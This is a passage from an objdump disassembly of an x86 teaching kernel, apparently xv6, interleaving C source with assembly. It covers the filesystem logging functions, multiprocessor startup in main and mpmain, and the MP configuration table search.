-0x8(%ebp),%esp 80102af8: 5b pop %ebx 80102af9: 5e pop %esi 80102afa: 5d pop %ebp 80102afb: c3 ret 80102afc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102b00 <initlog>: { 80102b00: 55 push %ebp 80102b01: 89 e5 mov %esp,%ebp 80102b03: 53 push %ebx 80102b04: 83 ec 2c sub $0x2c,%esp 80102b07: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102b0a: 68 80 74 10 80 push $0x80107480 80102b0f: 68 80 26 11 80 push $0x80112680 80102b14: e8 b7 17 00 00 call 801042d0 <initlock> readsb(dev, &sb); 80102b19: 58 pop %eax 80102b1a: 8d 45 dc lea -0x24(%ebp),%eax 80102b1d: 5a pop %edx 80102b1e: 50 push %eax 80102b1f: 53 push %ebx 80102b20: e8 1b e9 ff ff call 80101440 <readsb> log.size = sb.nlog; 80102b25: 8b 55 e8 mov -0x18(%ebp),%edx log.start = sb.logstart; 80102b28: 8b 45 ec mov -0x14(%ebp),%eax struct buf *buf = bread(log.dev, log.start); 80102b2b: 59 pop %ecx log.dev = dev; 80102b2c: 89 1d c4 26 11 80 mov %ebx,0x801126c4 log.size = sb.nlog; 80102b32: 89 15 b8 26 11 80 mov %edx,0x801126b8 log.start = sb.logstart; 80102b38: a3 b4 26 11 80 mov %eax,0x801126b4 struct buf *buf = bread(log.dev, log.start); 80102b3d: 5a pop %edx 80102b3e: 50 push %eax 80102b3f: 53 push %ebx 80102b40: e8 8b d5 ff ff call 801000d0 <bread> log.lh.n = lh->n; 80102b45: 8b 58 5c mov 0x5c(%eax),%ebx for (i = 0; i < log.lh.n; i++) { 80102b48: 83 c4 10 add $0x10,%esp 80102b4b: 85 db test %ebx,%ebx log.lh.n = lh->n; 80102b4d: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102b53: 7e 1c jle 80102b71 <initlog+0x71> 80102b55: c1 e3 02 shl $0x2,%ebx 80102b58: 31 d2 xor %edx,%edx 80102b5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi log.lh.block[i] = lh->block[i]; 80102b60: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx 80102b64: 83 c2 04 add $0x4,%edx 80102b67: 89 8a c8 26 11 80 mov %ecx,-0x7feed938(%edx) for (i = 0; i < log.lh.n; i++) { 80102b6d: 39 d3 cmp %edx,%ebx 80102b6f: 75 ef jne 80102b60 <initlog+0x60> brelse(buf); 80102b71: 83 ec 0c sub $0xc,%esp 80102b74: 50 push %eax 80102b75: e8 66 d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102b7a: e8 81 fe ff ff call 80102a00 <install_trans> log.lh.n = 0; 80102b7f: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102b86: 00 00 00 write_head(); // clear the log 80102b89: e8 12 ff ff ff call 80102aa0 <write_head> } 80102b8e: 83 c4 10 add $0x10,%esp 80102b91: 8b 5d fc mov -0x4(%ebp),%ebx 80102b94: c9 leave 80102b95: c3 ret 80102b96: 8d 76 00 lea 0x0(%esi),%esi 80102b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102ba0 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102ba0: 55 push %ebp 80102ba1: 89 e5 mov %esp,%ebp 80102ba3: 83 ec 14 sub $0x14,%esp acquire(&log.lock); 80102ba6: 68 80 26 11 80 push $0x80112680 80102bab: e8 60 18 00 00 call 80104410 <acquire> 80102bb0: 83 c4 10 add $0x10,%esp 80102bb3: eb 18 jmp 80102bcd <begin_op+0x2d> 80102bb5: 8d 76 00 lea 0x0(%esi),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102bb8: 83 ec 08 sub $0x8,%esp 80102bbb: 68 80 26 11 80 push $0x80112680 80102bc0: 68 80 26 11 80 push $0x80112680 80102bc5: e8 b6 11 00 00 call 80103d80 <sleep> 80102bca: 83 c4 10 add $0x10,%esp if(log.committing){ 80102bcd: a1 c0 26 11 80 mov 0x801126c0,%eax 80102bd2: 85 c0 test %eax,%eax 80102bd4: 75 e2 jne 80102bb8 <begin_op+0x18> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102bd6: a1 bc 26 11 80 mov 0x801126bc,%eax 80102bdb: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102be1: 83 c0 01 add $0x1,%eax 80102be4: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102be7: 8d 14 4a lea (%edx,%ecx,2),%edx 80102bea: 83 fa 1e cmp $0x1e,%edx 80102bed: 7f c9 jg 80102bb8 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102bef: 83 ec 0c sub $0xc,%esp log.outstanding += 1; 80102bf2: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102bf7: 68 80 26 11 80 push $0x80112680 80102bfc: e8 cf 18 00 00 call 801044d0 <release> break; } } } 80102c01: 83 c4 10 add $0x10,%esp 80102c04: c9 leave 80102c05: c3 ret 80102c06: 8d 76 00 lea 0x0(%esi),%esi 80102c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102c10 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102c10: 55 push %ebp 80102c11: 89 e5 mov %esp,%ebp 80102c13: 57 push %edi 80102c14: 56 push %esi 80102c15: 53 push %ebx 80102c16: 83 ec 18 sub $0x18,%esp int do_commit = 0; acquire(&log.lock); 80102c19: 68 80 26 11 80 push $0x80112680 80102c1e: e8 ed 17 00 00 call 80104410 <acquire> log.outstanding -= 1; 80102c23: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102c28: 8b 35 c0 26 11 80 mov 0x801126c0,%esi 80102c2e: 83 c4 10 add $0x10,%esp log.outstanding -= 1; 80102c31: 8d 58 ff lea -0x1(%eax),%ebx if(log.committing) 80102c34: 85 f6 test %esi,%esi log.outstanding -= 1; 80102c36: 89 1d bc 26 11 80 mov %ebx,0x801126bc if(log.committing) 80102c3c: 0f 85 1a 01 00 00 jne 80102d5c <end_op+0x14c> panic("log.committing"); if(log.outstanding == 0){ 80102c42: 85 db test %ebx,%ebx 80102c44: 0f 85 ee 00 00 00 jne 80102d38 <end_op+0x128> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102c4a: 83 ec 0c sub $0xc,%esp log.committing = 1; 80102c4d: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102c54: 00 00 00 release(&log.lock); 80102c57: 68 80 26 11 80 push $0x80112680 80102c5c: e8 6f 18 00 00 call 801044d0 <release> } static void commit() { if (log.lh.n > 0) { 80102c61: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102c67: 83 c4 10 add $0x10,%esp 80102c6a: 85 c9 test %ecx,%ecx 80102c6c: 0f 8e 85 00 00 00 jle 80102cf7 <end_op+0xe7> struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102c72: a1 b4 26 11 80 mov 0x801126b4,%eax 80102c77: 83 ec 08 sub $0x8,%esp 80102c7a: 01 d8 add %ebx,%eax 80102c7c: 83 c0 01 add $0x1,%eax 80102c7f: 50 push %eax 80102c80: ff 35 c4 26 11 80 pushl 0x801126c4 80102c86: e8 45 d4 ff ff call 801000d0 <bread> 80102c8b: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c8d: 58 pop %eax 80102c8e: 5a pop %edx 80102c8f: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 80102c96: ff 35 c4 26 11 80 pushl 0x801126c4 for (tail = 0; tail < log.lh.n; tail++) { 80102c9c: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c9f: e8 2c d4 ff ff call 801000d0 <bread> 80102ca4: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102ca6: 8d 40 5c lea 0x5c(%eax),%eax 80102ca9: 83 c4 0c add $0xc,%esp 80102cac: 68 00 02 00 00 push $0x200 80102cb1: 50 push %eax 80102cb2: 8d 46 5c lea 0x5c(%esi),%eax 80102cb5: 50 push %eax 80102cb6: e8 15 19 00 00 call 801045d0 <memmove> bwrite(to); // write the log 80102cbb: 89 34 24 mov %esi,(%esp) 80102cbe: e8 dd d4 ff ff call 801001a0 <bwrite> brelse(from); 80102cc3: 89 3c 24 mov %edi,(%esp) 80102cc6: e8 15 d5 ff ff call 801001e0 <brelse> brelse(to); 80102ccb: 89 34 24 mov %esi,(%esp) 80102cce: e8 0d d5 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102cd3: 83 c4 10 add $0x10,%esp 80102cd6: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102cdc: 7c 94 jl 80102c72 <end_op+0x62> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102cde: e8 bd fd ff ff call 80102aa0 <write_head> install_trans(); // Now install writes to home locations 80102ce3: e8 18 fd ff ff call 80102a00 <install_trans> log.lh.n = 0; 80102ce8: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102cef: 00 00 00 write_head(); // Erase the transaction from the log 80102cf2: e8 a9 fd ff ff call 80102aa0 <write_head> acquire(&log.lock); 80102cf7: 83 ec 0c sub $0xc,%esp 80102cfa: 68 80 26 11 80 push $0x80112680 80102cff: e8 0c 17 00 00 call 80104410 <acquire> wakeup(&log); 80102d04: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) log.committing = 0; 80102d0b: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102d12: 00 00 00 wakeup(&log); 80102d15: e8 16 12 00 00 call 80103f30 <wakeup> release(&log.lock); 80102d1a: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102d21: e8 aa 17 00 00 call 801044d0 <release> 80102d26: 83 c4 10 add $0x10,%esp } 80102d29: 8d 65 f4 lea -0xc(%ebp),%esp 80102d2c: 5b pop %ebx 80102d2d: 5e pop %esi 80102d2e: 5f pop %edi 80102d2f: 5d pop %ebp 80102d30: c3 ret 80102d31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&log); 80102d38: 83 ec 0c sub $0xc,%esp 80102d3b: 68 80 26 11 80 push $0x80112680 80102d40: e8 eb 11 00 00 call 80103f30 <wakeup> release(&log.lock); 80102d45: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102d4c: e8 7f 17 00 00 call 801044d0 <release> 80102d51: 83 c4 10 add $0x10,%esp } 80102d54: 8d 65 f4 lea -0xc(%ebp),%esp 80102d57: 5b pop %ebx 80102d58: 5e pop %esi 80102d59: 5f pop %edi 80102d5a: 5d pop %ebp 80102d5b: c3 ret panic("log.committing"); 80102d5c: 83 ec 0c sub $0xc,%esp 80102d5f: 68 84 74 10 80 push $0x80107484 80102d64: e8 27 d6 ff ff call 80100390 <panic> 80102d69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102d70 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102d70: 55 push %ebp 80102d71: 89 e5 mov %esp,%ebp 80102d73: 53 push %ebx 80102d74: 83 ec 04 sub $0x4,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d77: 8b 15 c8 26 11 80 mov 0x801126c8,%edx { 80102d7d: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d80: 83 fa 1d cmp $0x1d,%edx 80102d83: 0f 8f 9d 00 00 00 jg 80102e26 <log_write+0xb6> 80102d89: a1 b8 26 11 80 mov 0x801126b8,%eax 80102d8e: 83 e8 01 sub $0x1,%eax 80102d91: 39 c2 cmp %eax,%edx 80102d93: 0f 8d 8d 00 00 00 jge 80102e26 <log_write+0xb6> panic("too big a transaction"); if (log.outstanding < 1) 80102d99: a1 bc 26 11 80 mov 0x801126bc,%eax 80102d9e: 85 c0 test %eax,%eax 80102da0: 0f 8e 8d 00 00 00 jle 80102e33 <log_write+0xc3> panic("log_write outside of trans"); acquire(&log.lock); 80102da6: 83 ec 0c sub $0xc,%esp 80102da9: 68 80 26 11 80 push $0x80112680 80102dae: e8 5d 16 00 00 call 80104410 <acquire> for (i = 0; i < log.lh.n; i++) { 80102db3: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102db9: 83 c4 10 add $0x10,%esp 80102dbc: 83 f9 00 cmp $0x0,%ecx 80102dbf: 7e 57 jle 80102e18 <log_write+0xa8> if (log.lh.block[i] == b->blockno) // log absorbtion 80102dc1: 8b 53 08 mov 0x8(%ebx),%edx for (i = 0; i < log.lh.n; i++) { 80102dc4: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102dc6: 3b 15 cc 26 11 80 cmp 0x801126cc,%edx 80102dcc: 75 0b jne 80102dd9 <log_write+0x69> 80102dce: eb 38 jmp 80102e08 <log_write+0x98> 80102dd0: 39 14 85 cc 26 11 80 cmp %edx,-0x7feed934(,%eax,4) 80102dd7: 74 2f je 80102e08 <log_write+0x98> for (i = 0; i < log.lh.n; i++) { 80102dd9: 83 c0 01 add $0x1,%eax 80102ddc: 39 c1 cmp %eax,%ecx 80102dde: 75 f0 jne 80102dd0 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102de0: 89 14 85 cc 26 11 80 mov %edx,-0x7feed934(,%eax,4) if (i == log.lh.n) log.lh.n++; 80102de7: 83 c0 01 add $0x1,%eax 80102dea: a3 c8 26 11 80 mov %eax,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102def: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102df2: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102df9: 8b 5d fc mov -0x4(%ebp),%ebx 80102dfc: c9 leave release(&log.lock); 80102dfd: e9 ce 16 00 00 jmp 801044d0 <release> 80102e02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi log.lh.block[i] = b->blockno; 80102e08: 89 14 85 cc 26 11 80 mov %edx,-0x7feed934(,%eax,4) 80102e0f: eb de jmp 80102def <log_write+0x7f> 80102e11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102e18: 8b 43 08 mov 0x8(%ebx),%eax 80102e1b: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102e20: 75 cd jne 80102def <log_write+0x7f> 80102e22: 31 c0 xor %eax,%eax 80102e24: eb c1 jmp 80102de7 <log_write+0x77> panic("too big a transaction"); 80102e26: 83 ec 0c sub $0xc,%esp 80102e29: 68 93 74 10 80 push $0x80107493 80102e2e: e8 5d d5 ff ff call 80100390 <panic> panic("log_write outside of trans"); 80102e33: 83 ec 0c sub $0xc,%esp 80102e36: 68 a9 74 10 80 push $0x801074a9 80102e3b: e8 50 d5 ff ff call 80100390 <panic> 80102e40 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102e40: 55 push %ebp 80102e41: 89 e5 mov %esp,%ebp 80102e43: 53 push %ebx 80102e44: 83 ec 04 sub $0x4,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102e47: e8 74 09 00 00 call 801037c0 <cpuid> 80102e4c: 89 c3 mov %eax,%ebx 80102e4e: e8 6d 09 00 00 call 801037c0 <cpuid> 80102e53: 83 ec 04 sub $0x4,%esp 80102e56: 53 push %ebx 80102e57: 50 push %eax 80102e58: 68 c4 74 10 80 push $0x801074c4 80102e5d: e8 fe d7 ff ff call 80100660 <cprintf> idtinit(); // load idt register 80102e62: e8 89 29 00 00 call 801057f0 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102e67: e8 d4 08 00 00 call 80103740 <mycpu> 80102e6c: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102e6e: b8 01 00 00 00 mov $0x1,%eax 80102e73: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102e7a: e8 21 0c 00 00 call 80103aa0 <scheduler> 80102e7f: 90 nop 80102e80 <mpenter>: { 80102e80: 55 push %ebp 80102e81: 89 e5 mov %esp,%ebp 80102e83: 83 ec 08 sub $0x8,%esp switchkvm(); 80102e86: e8 55 3a 00 00 call 801068e0 <switchkvm> seginit(); 80102e8b: e8 c0 39 00 00 call 80106850 <seginit> lapicinit(); 80102e90: e8 9b f7 ff ff call 80102630 <lapicinit> mpmain(); 80102e95: e8 a6 ff ff ff call 80102e40 <mpmain> 80102e9a: 66 90 xchg %ax,%ax 80102e9c: 66 90 xchg %ax,%ax 80102e9e: 66 90 xchg %ax,%ax 80102ea0 <main>: { 80102ea0: 8d 4c 24 04 lea 0x4(%esp),%ecx 80102ea4: 83 e4 f0 and $0xfffffff0,%esp 80102ea7: ff 71 fc pushl -0x4(%ecx) 80102eaa: 55 push %ebp 80102eab: 89 e5 mov %esp,%ebp 80102ead: 53 push %ebx 80102eae: 51 push %ecx kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102eaf: 83 ec 08 sub $0x8,%esp 80102eb2: 68 00 00 40 80 push $0x80400000 80102eb7: 68 a8 54 11 80 push $0x801154a8 80102ebc: e8 2f f5 ff ff call 801023f0 <kinit1> kvmalloc(); // kernel page table 80102ec1: e8 ea 3e 00 00 call 80106db0 <kvmalloc> mpinit(); // detect other processors 80102ec6: e8 75 01 00 00 call 80103040 <mpinit> lapicinit(); // interrupt controller 80102ecb: e8 60 f7 ff ff call 80102630 <lapicinit> seginit(); // segment descriptors 80102ed0: e8 7b 39 00 00 call 80106850 <seginit> picinit(); // disable pic 80102ed5: e8 46 03 00 00 call 80103220 <picinit> ioapicinit(); // another interrupt controller 80102eda: e8 41 f3 ff ff call 80102220 <ioapicinit> consoleinit(); // console hardware 80102edf: e8 dc da ff ff call 801009c0 <consoleinit> uartinit(); // serial port 80102ee4: e8 37 2c 00 00 call 80105b20 <uartinit> pinit(); // process table 80102ee9: e8 32 08 00 00 call 80103720 <pinit> tvinit(); // trap vectors 80102eee: e8 7d 28 00 00 call 80105770 <tvinit> binit(); // buffer cache 80102ef3: e8 48 d1 ff ff call 80100040 <binit> fileinit(); // file table 80102ef8: e8 63 de ff ff call 80100d60 <fileinit> ideinit(); // disk 80102efd: e8 fe f0 ff ff call 80102000 <ideinit> // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102f02: 83 c4 0c add $0xc,%esp 80102f05: 68 8a 00 00 00 push $0x8a 80102f0a: 68 8c a4 10 80 push $0x8010a48c 80102f0f: 68 00 70 00 80 push $0x80007000 80102f14: e8 b7 16 00 00 call 801045d0 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102f19: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102f20: 00 00 00 80102f23: 83 c4 10 add $0x10,%esp 80102f26: 05 80 27 11 80 add $0x80112780,%eax 80102f2b: 3d 80 27 11 80 cmp $0x80112780,%eax 80102f30: 76 71 jbe 80102fa3 <main+0x103> 80102f32: bb 80 27 11 80 mov $0x80112780,%ebx 80102f37: 89 f6 mov %esi,%esi 80102f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(c == mycpu()) // We've started already. 80102f40: e8 fb 07 00 00 call 80103740 <mycpu> 80102f45: 39 d8 cmp %ebx,%eax 80102f47: 74 41 je 80102f8a <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102f49: e8 72 f5 ff ff call 801024c0 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; 80102f4e: 05 00 10 00 00 add $0x1000,%eax *(void(**)(void))(code-8) = mpenter; 80102f53: c7 05 f8 6f 00 80 80 movl $0x80102e80,0x80006ff8 80102f5a: 2e 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102f5d: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102f64: 90 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 80102f67: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80102f6c: 0f b6 03 movzbl (%ebx),%eax 80102f6f: 83 ec 08 sub $0x8,%esp 80102f72: 68 00 70 00 00 push $0x7000 80102f77: 50 push %eax 80102f78: e8 03 f8 ff ff call 80102780 <lapicstartap> 80102f7d: 83 c4 10 add $0x10,%esp // wait for cpu to finish mpmain() while(c->started == 0) 80102f80: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102f86: 85 c0 test %eax,%eax 80102f88: 74 f6 je 80102f80 <main+0xe0> for(c = cpus; c < cpus+ncpu; c++){ 80102f8a: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102f91: 00 00 00 80102f94: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102f9a: 05 80 27 11 80 add $0x80112780,%eax 80102f9f: 39 c3 cmp %eax,%ebx 80102fa1: 72 9d jb 80102f40 <main+0xa0> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102fa3: 83 ec 08 sub $0x8,%esp 80102fa6: 68 00 00 00 8e push $0x8e000000 80102fab: 68 00 00 40 80 push $0x80400000 80102fb0: e8 ab f4 ff ff call 80102460 <kinit2> userinit(); // first user process 80102fb5: e8 56 08 00 00 call 80103810 <userinit> mpmain(); // finish this processor's setup 80102fba: e8 81 fe ff ff call 80102e40 <mpmain> 80102fbf: 90 nop 80102fc0 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102fc0: 55 push %ebp 80102fc1: 89 e5 mov %esp,%ebp 80102fc3: 57 push %edi 80102fc4: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102fc5: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 80102fcb: 53 push %ebx e = addr+len; 80102fcc: 8d 1c 16 lea (%esi,%edx,1),%ebx { 80102fcf: 83 ec 0c sub $0xc,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80102fd2: 39 de cmp %ebx,%esi 80102fd4: 72 10 jb 80102fe6 <mpsearch1+0x26> 80102fd6: eb 50 jmp 80103028 <mpsearch1+0x68> 80102fd8: 90 nop 80102fd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102fe0: 39 fb cmp %edi,%ebx 80102fe2: 89 fe mov %edi,%esi 80102fe4: 76 42 jbe 80103028 <mpsearch1+0x68> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102fe6: 83 ec 04 sub $0x4,%esp 80102fe9: 8d 7e 10 lea 0x10(%esi),%edi 80102fec: 6a 04 push $0x4 80102fee: 68 d8 74 10 80 push $0x801074d8 80102ff3: 56 push %esi 80102ff4: e8 77 15 00 00 call 80104570 <memcmp> 80102ff9: 83 c4 10 add $0x10,%esp 80102ffc: 85 c0 test %eax,%eax 80102ffe: 75 e0 jne 80102fe0 <mpsearch1+0x20> 80103000: 89 f1 mov %esi,%ecx 80103002: 8d b6 00 00 00 00 lea 0x0(%esi),%esi sum += addr[i]; 80103008: 0f b6 11 movzbl (%ecx),%edx 8010300b: 83 c1 01 add $0x1,%ecx 8010300e: 01 d0 add %edx,%eax for(i=0; i<len; i++) 80103010: 39 f9 cmp %edi,%ecx 80103012: 75 f4 jne 80103008 <mpsearch1+0x48> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80103014: 84 c0 test %al,%al 80103016: 75 c8 jne 80102fe0 <mpsearch1+0x20> return (struct mp*)p; return 0; } 80103018: 8d 65 f4 lea -0xc(%ebp),%esp 8010301b: 89 f0 mov %esi,%eax 8010301d: 5b pop %ebx 8010301e: 5e pop %esi 8010301f: 5f pop %edi 80103020: 5d pop %ebp 80103021: c3 ret 80103022: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103028: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 8010302b: 31 f6 xor %esi,%esi } 8010302d: 89 f0 mov %esi,%eax 8010302f: 5b pop %ebx 80103030: 5e pop %esi 80103031: 5f pop %edi 80103032: 5d pop %ebp 80103033: c3 ret 80103034: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010303a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103040 <mpinit>: return conf; } void mpinit(void) { 80103040: 55 push %ebp 80103041: 89 e5 mov %esp,%ebp 80103043: 57 push %edi 80103044: 56 push %esi 80103045: 53 push %ebx 80103046: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80103049: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80103050: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80103057: c1 e0 08 shl $0x8,%eax 8010305a: 09 d0 or %edx,%eax 8010305c: c1 e0 04 shl $0x4,%eax 8010305f: 85 c0 test %eax,%eax 80103061: 75 1b jne 8010307e <mpinit+0x3e> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80103063: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 8010306a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80103071: c1 e0 08 shl $0x8,%eax 80103074: 09 d0 or %edx,%eax 80103076: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80103079: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 8010307e: ba 00 04 00 00 mov $0x400,%edx 80103083: e8 38 ff ff ff call 80102fc0 <mpsearch1> 80103088: 85 c0 test %eax,%eax 8010308a: 89 45 e4 mov %eax,-0x1c(%ebp) 8010308d: 0f 84 3d 01 00 00 je 801031d0 <mpinit+0x190> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103093: 8b 45 e4 mov -0x1c(%ebp),%eax 80103096: 8b 58 04 mov 0x4(%eax),%ebx 80103099: 85 db test %ebx,%ebx 8010309b: 0f 84 4f 01 00 00 je 801031f0 <mpinit+0x1b0> conf = (struct mpconf*) P2V((uint) mp->physaddr); 801030a1: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi if(memcmp(conf, "PCMP", 4) != 0) 801030a7: 83 ec 04 sub $0x4,%esp 801030aa: 6a 04 push $0x4 801030ac: 68 f5 74 10 80 push $0x801074f5 801030b1: 56 push %esi 801030b2: e8 b9 14 00 00 call 80104570 <memcmp> 801030b7: 83 c4 10 add $0x10,%esp 801030ba: 85 c0 test %eax,%eax 801030bc: 0f 85 2e 01 00 00 jne 801031f0 <mpinit+0x1b0> if(conf->version != 1 && conf->version != 4) 801030c2: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax 801030c9: 3c 01 cmp $0x1,%al 801030cb: 0f 95 c2 setne %dl 801030ce: 3c 04 cmp $0x4,%al 801030d0: 0f 95 c0 setne %al 801030d3: 20 c2 and %al,%dl 801030d5: 0f 85 15 01 00 00 jne 801031f0 <mpinit+0x1b0> if(sum((uchar*)conf, conf->length) != 0) 801030db: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi for(i=0; i<len; i++) 801030e2: 66 85 ff test %di,%di 801030e5: 74 1a je 80103101 <mpinit+0xc1> 801030e7: 89 f0 mov %esi,%eax 801030e9: 01 f7 add %esi,%edi sum = 0; 801030eb: 31 d2 xor %edx,%edx 801030ed: 8d 76 00 lea 0x0(%esi),%esi sum += addr[i]; 801030f0: 0f b6 08 movzbl (%eax),%ecx 801030f3: 83 c0 01 add $0x1,%eax 801030f6: 01 ca add %ecx,%edx for(i=0; i<len; i++) 801030f8: 39 c7 cmp %eax,%edi 801030fa: 75 f4 jne 801030f0 <mpinit+0xb0> 801030fc: 84 d2 test %dl,%dl 801030fe: 0f 95 c2 setne %dl struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103101: 85 f6 test %esi,%esi 80103103: 0f 84 e7 00 00 00 je 801031f0 <mpinit+0x1b0> 80103109: 84 d2 test %dl,%dl 8010310b: 0f 85 df 00 00 00 jne 801031f0 <mpinit+0x1b0> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 80103111: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax 80103117: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010311c: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx 80103123: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax ismp = 1; 80103129: bb 01 00 00 00 mov $0x1,%ebx for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010312e: 01 d6 add %edx,%esi 80103130: 39 c6 cmp %eax,%esi 80103132: 76 23 jbe 80103157 <mpinit+0x117> switch(*p){ 80103134: 0f b6 10 movzbl (%eax),%edx 80103137: 80 fa 04 cmp $0x4,%dl 8010313a: 0f 87 ca 00 00 00 ja 8010320a <mpinit+0x1ca> 80103140: ff 24 95 1c 75 10 80 jmp *-0x7fef8ae4(,%edx,4) 80103147: 